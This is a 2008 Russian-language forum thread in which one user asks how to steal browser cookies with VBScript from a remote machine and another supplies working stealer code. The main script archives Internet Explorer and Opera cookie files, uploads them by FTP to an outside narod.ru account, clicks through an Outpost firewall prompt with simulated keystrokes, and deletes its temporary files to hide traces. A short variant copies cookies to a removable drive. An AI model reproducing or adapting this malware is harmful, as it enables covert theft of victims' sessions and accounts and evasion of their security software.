Стащить куки на VBscript

Discussion in 'PHP' started by truelamer, 5 Dec 2008.

  1. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    Подскажите как можно с помощью Vbscript утащить кукисы из всех браузеров.
     
  2. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Смотря куда утащить. На флешку например вот так можно:

    On Error Resume Next
    set fso=createobject("sсriрting.filesystemobject")
    set WshShell = WScript.CreateObject("WScript.Shell")
    fso.copyfolder WshShell.ExpandEnvironmentStrings("%USERPROFILE%") +"\Cookies", "E:\1"
    Set fso = Nothing
    Set WshShell = Nothing
    Wscript.Quit ' -выход

    Если надо от всех прямо совсем - давай папки, где это все хранится, напишу бесплатно, можно на ftp, можно на почту
     
  3. truelamer

    truelamer Elder - Старейшина

    Joined:
    6 Nov 2007
    Messages:
    135
    Likes Received:
    30
    Reputations:
    5
    Да, извеняюсь не уточнил, скрипт выполнятся на удаленной машине, следовательно надо утащить в интернет куда-нить) на ftp итп
     
  4. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    В общем вот, проверено на XP SP2 + ftp на narod.ru, тырит куки от IE и Opera и отсылает в Winrar-архиве (который должен быть УЖЕ установлен у жертвы) на ftp на narod.ru, с Firefox там всё чуть сложнее, т.к. куки хранятся в C:\Documents and Settings\Хозяин\Application Data\Mozilla\Firefox\Profiles\b2f0512348.default, где папка b2f0512348.default - уникальная для каждого юзера, генерица на сколько я понял случайно и пока я не понял, где и как выцепить её название, наверное надо порыться в реестре. Ну и сам код:

    Code:
    On Error Resume Next
    'Создаем временную папку для записи нужных нам результатов (лучше, если название будет УНИКАЛЬНОЕ, чтобы не было конфликтов)
    '==========================================================
    dim filesys, newfolder, newfolderpath 
    newfolderpath = "c:\12345" 
    set filesys=CreateObject("Scripting.FileSystemObject") 
    If Not filesys.FolderExists(newfolderpath) Then 
       Set newfolder = filesys.CreateFolder(newfolderpath) 
    End If
    '==========================================================
    ' Тырим куки IE
    set WshShell1 = WScript.CreateObject("WScript.Shell") 
    filePath = """C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Cookies""" 'Тут указываем, то что архивируем.
    archPath = newfolderpath & "\IE_cookies.rar" 'Куда архивируем, плюс название. 
    winRarPath = """%systemdrive%\Program Files\WinRAR\rar.exe""" 'Путь к архиватору, у нас это winrar.
    Set fs = CreateObject("Scripting.FileSystemObject")
    Set WshShell = CreateObject("WScript.Shell")
    WshShell.Run winRarPath & " a -r " &  archPath & " " & filePath, 0, True
    Set fs = Nothing
    Set WshShell = Nothing
    Set WshShell1 = Nothing
    '==========================================================
    ' Тырим куки OPERA
    set WshShell1 = WScript.CreateObject("WScript.Shell") 
    filePath = """C:\Documents and Settings\" & WshShell1.ExpandEnvironmentStrings("%USERNAME%")  & "\Application Data\Opera\Opera\profile\cookies4.dat""" 'Тут указываем, то что архивируем.
    archPath = newfolderpath & "\opera_cookies.rar" 'Куда архивируем, плюс название. 
    winRarPath = """%systemdrive%\Program Files\WinRAR\rar.exe""" 'Путь к архиватору, у нас это winrar.
    Set fs = CreateObject("Scripting.FileSystemObject")
    Set WshShell = CreateObject("WScript.Shell")
    WshShell.Run winRarPath & " a -r " &  archPath & " " & filePath, 0, True
    Set fs = Nothing
    Set WshShell = Nothing
    Set WshShell1 = Nothing
    '==========================================================
    'Засовываем все стыренные куки в один архив
    set WshShell1 = WScript.CreateObject("WScript.Shell") 
    filePath = newfolderpath 'Тут указываем, то что архивируем.
    archPath = newfolderpath & "\all_cookies.rar" 'Куда архивируем, плюс название. 
    winRarPath = """%systemdrive%\Program Files\WinRAR\rar.exe""" 'Путь к архиватору, у нас это winrar.
    Set fs = CreateObject("Scripting.FileSystemObject")
    Set WshShell = CreateObject("WScript.Shell")
    WshShell.Run winRarPath & " a -r " &  archPath & " " & filePath, 0, True
    Set fs = Nothing
    Set WshShell = Nothing
    Set WshShell1 = Nothing
    '==========================================================
    'Отсылаем на ФТП на narod.ru
    'Создаем файл сценария для FTP.EXE 
    set FSO = CreateObject("Scripting.FileSystemObject") 
    Set WSHshell = WScript.CreateObject("WScript.Shell") 
    Set sDir = WSHshell.Environment("Process")    ' - находим путь к папке Windows 
    Set cScript = fso.CreateTextFile (sDir("windir") & "\FTp.scr")  '-Обозначаем место, где будет создан и сохранен файл сценария (в данном случае - папочка виндовз) 
    cScript.WriteLine "Open ftp.narod.ru" '- Открываем соединение с сайтом ftp.narod.ru на 21 порту 
    cScript.WriteLine "Lollka" '- Имя пользователя 
    cScript.WriteLine "1234" '- Пароль 
    cScript.WriteLine "PUT " & newfolderpath & "\all_cookies.rar"'- А это файл который мы закачиваем 
    cScript.WriteLine "bye" '-разрываем соединение с ftp.narod.ru 
    cScript.Close '- Конец записи в файл сценария 
    ' Запускаем FTP-сценарий 
    WSHshell.Run sDir("windir") & "\system32" & "\FTP.ExE -s:" & sDir("windir") & "\FTp.scr", 0
    ' Обходим фаер (в данном случае Outpost, если не надо, закоментируйте с помощью символа " ' " все строчки, что ниже, до '---------------------------)
    set w=CreateObject("WScript.Shell")
    a=0
    do
    r=W.AppActivate("ftp.exe")
    if r then
    a=1
    w.SendKeys "{tab 2}"
    w.SendKeys "{enter}"
    end if
    loop until a=1
    set w=Nothing
    '---------------------------
    Set fso = Nothing 
    Set WSHshell  = Nothing 
    '==========================================================
    'Заметаем следы (удаляем временную папку с нашими палевными архивами)
    WScript.Sleep 30000 'Задаем паузу, чтобы успело скопироваться на ФТП - чем больше, тем надежней, в данном случае 30 секунд
    set FSO = CreateObject("Scripting.FileSystemObject") 
    Set MyFile = fso.GetFolder(newfolderpath)
    MyFile.Delete
    Set FSO = Nothing 
    Set MyFile  = Nothing 
    Wscript.Quit ' -выход
    
     
    #4 Pashkela, 5 Dec 2008
    Last edited: 5 Dec 2008